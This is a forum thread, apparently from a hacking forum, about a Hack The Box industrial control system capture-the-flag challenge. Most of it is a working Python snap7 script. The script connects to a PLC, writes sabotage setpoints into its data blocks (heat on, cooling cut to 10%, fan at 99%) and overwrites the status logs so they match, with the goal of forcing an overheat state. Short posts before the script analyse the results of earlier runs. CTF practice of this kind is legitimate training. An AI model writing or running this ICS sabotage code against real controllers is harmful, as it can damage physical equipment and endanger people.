Hax Forums

    • Register
    • Login
    • Categories
    • Recent
    • Tags
    • Popular
    • Users
    • Groups

    Operation Blackout - ICS - Heat Plan

    Hack The Box - HTB
    ics
    1
    4
    97
    Loading More Posts
    • Oldest to Newest
    • Newest to Oldest
    • Most Votes
    Reply
    • Reply as topic
    Log in to reply
    This topic has been deleted. Only users with topic management privileges can see it.
    • L
      lIlIlIlIIIIlllIllI last edited by

      Based on the log file, I can see what's happening with our sabotage attempt. Let me analyze the results:

      We successfully connected to the PLC at 94.237.51.3:45235 with Rack=0, Slot=0.
      Initially, we could only read DB4, but got "Address out of range" errors for DB1, DB2, DB3, and DB5.
      Despite these errors, we were able to write to DB1, DB2, DB3, and DB5 successfully.
      Setting the fan speed to 60% worked without breaking the DB.
      However, as soon as we set the fan speed to 70% or higher, DB4 showed "DB BROKEN" message.
      By the end of the script, we couldn't read any of the DBs except DB4, which still showed "DB BROKEN".

      L 1 Reply Last reply Reply Quote 0
      • L
        lIlIlIlIIIIlllIllI @lIlIlIlIIIIlllIllI last edited by

        @lIlIlIlIIIIlllIllI

        If you run sabotage and it works then the DB breaks and you have to reconnect to a new instance since the previous controller is broken.

        L 1 Reply Last reply Reply Quote 0
        • L
          lIlIlIlIIIIlllIllI @lIlIlIlIIIIlllIllI last edited by

          Want to make it say ASCII:
          STATE:OVHT ERR:0 LOG:ALEDB BROKEN
          [*] Done.

          Overheat

          1 Reply Last reply Reply Quote 0
          • L
            lIlIlIlIIIIlllIllI last edited by lIlIlIlIIIIlllIllI

            #!/usr/bin/env python3
            import snap7
            from snap7.util import set_real, set_bool
            import re
            import time
            
            # New PLC instance parameters
            PLC_IP = "94.237.58.172"  
            PLC_PORT = 31766
            PLC_RACK = 0
            PLC_SLOT = 0
            
            def search_for_flag(data, source=""):
                """Search for HTB{ pattern in binary data"""
                # Convert binary data to ASCII
                ascii_data = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in data)
                
                # Search for HTB{ pattern
                flag_match = re.search(r'HTB\{[^}]*\}', ascii_data)
                if flag_match:
                    flag = flag_match.group(0)
                    print(f"[+] FLAG FOUND in {source}: {flag}")
                    return flag
                return None
            
            # Create client instance
            client = snap7.client.Client()
            
            # Connect to the PLC with the specified port
            print(f"[*] Connecting to PLC at {PLC_IP}:{PLC_PORT}...")
            try:
                client.connect(PLC_IP, PLC_RACK, PLC_SLOT, tcp_port=PLC_PORT)
                print("[+] Successfully connected to PLC")
                
                # Get CPU state
                try:
                    cpu_state = client.get_cpu_state()
                    print(f"[*] CPU State: {cpu_state}")
                except Exception as e:
                    print(f"[-] Error getting CPU state: {e}")
                
                # Read initial state of all DBs
                print("\n[*] Reading initial state of all DBs...")
                for db_num in range(1, 6):
                    try:
                        data = client.db_read(db_num, 0, 48)
                        ascii_data = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in data)
                        print(f"DB{db_num} Initial: {ascii_data}")
                        # Check for flag
                        search_for_flag(data, f"DB{db_num} initial")
                    except Exception as e:
                        print(f"[-] Error reading DB{db_num}: {e}")
            except Exception as e:
                print(f"[-] Connection error: {e}")
                exit(1)
            
            print("[*] Starting sabotage script (real values + ASCII logs)...")
            
            # --- Sabotage real control values ---
            
            # 1. DB1: Target Temperature -> 50.0°C (offset 4 for real numeric data, since offset 0 is ASCII!)
            try:
                data = client.db_read(1, 0, 48)
                set_real(data, 4, 50.0)  # write float at offset 4
                client.db_write(1, 0, data)
                print("[+] DB1: Target temperature set to 50°C (REAL@4)")
            except Exception as e:
                print(f"[-] DB1 sabotage failed: {e}")
            
            # 2. DB2: Fan Speed -> 99.0% (offset 4)
            try:
                data = client.db_read(2, 0, 48)
                set_real(data, 4, 99.0)
                client.db_write(2, 0, data)
                print("[+] DB2: Fan speed set to 99% (REAL@4)")
            except Exception as e:
                print(f"[-] DB2 sabotage failed: {e}")
            
            # 3. DB3: Cooling -> 10.0% (offset 4)
            try:
                data = client.db_read(3, 0, 48)
                set_real(data, 4, 10.0)
                client.db_write(3, 0, data)
                print("[+] DB3: Cooling set to 10% (REAL@4)")
            except Exception as e:
                print(f"[-] DB3 sabotage failed: {e}")
            
            # 4. DB5: Heat ON (BOOL at offset 0, bit 0)
            try:
                data = client.db_read(5, 0, 48)
                set_bool(data, 0, 0, True)
                client.db_write(5, 0, data)
                print("[+] DB5: Heat turned ON (BOOL@0)")
            except Exception as e:
                print(f"[-] DB5 sabotage failed: {e}")
            
            # --- Overwrite ASCII logs to match sabotage ---
            
            ascii_overwrites = {
                1: b'TARGET-TEMP:50C SETPOINT:50C MAX:50C MIN:50C ',
                2: b'FAN:99% VENT:RECIRC AIR:9999m3/h STAT:ON     ',
                3: b'COMP:ON COOL:10% PRES:5bar                  ',
                4: b'STATE:OVHT ERR:0 LOG:ALERT                  ',
                5: b'HEAT:ON CAP:100% OVR:1 KEY:0a42417865       ',
            }
            
            for db_num, new_text in ascii_overwrites.items():
                try:
                    data = client.db_read(db_num, 0, 48)
                    new_data = new_text.ljust(48, b' ')
                    data = new_data + data[len(new_data):]
                    client.db_write(db_num, 0, data)
                    print(f"[+] DB{db_num}: ASCII log updated to sabotage values.")
                except Exception as e:
                    print(f"[-] DB{db_num} ASCII overwrite failed: {e}")
            
            # Check final state of all DBs after sabotage
            print("\n[*] Reading final state of all DBs after sabotage...")
            for db_num in range(1, 6):
                try:
                    data = client.db_read(db_num, 0, 48)
                    ascii_data = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in data)
                    print(f"DB{db_num} Final: {ascii_data}")
                    # Check for flag
                    search_for_flag(data, f"DB{db_num} final")
                except Exception as e:
                    print(f"[-] Error reading DB{db_num}: {e}")
            
            # Monitor DB4 for a while to see if STATE changes and check for flags
            print("\n[*] Monitoring DB4 for STATE changes and flags...")
            for i in range(10):
                try:
                    time.sleep(1)
                    data = client.db_read(4, 0, 48)
                    ascii_data = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in data)
                    print(f"DB4 Check #{i+1}: {ascii_data}")
                    
                    # Check for flag
                    search_for_flag(data, f"DB4 check #{i+1}")
                    
                    # Check if STATE is OVHT
                    if "STATE:OVHT" in ascii_data:
                        print("[+] SUCCESS! STATE has been changed to OVHT!")
                except Exception as e:
                    print(f"[-] Error monitoring DB4: {e}")
            
            # Disconnect from the PLC
            client.disconnect()
            print("\n[*] Disconnected from PLC")
            print("[*] Final sabotage complete. The HVAC system should now be in OVHT state!")
            
            1 Reply Last reply Reply Quote 0
            • First post
              Last post
            Powered by NodeBB | Contributors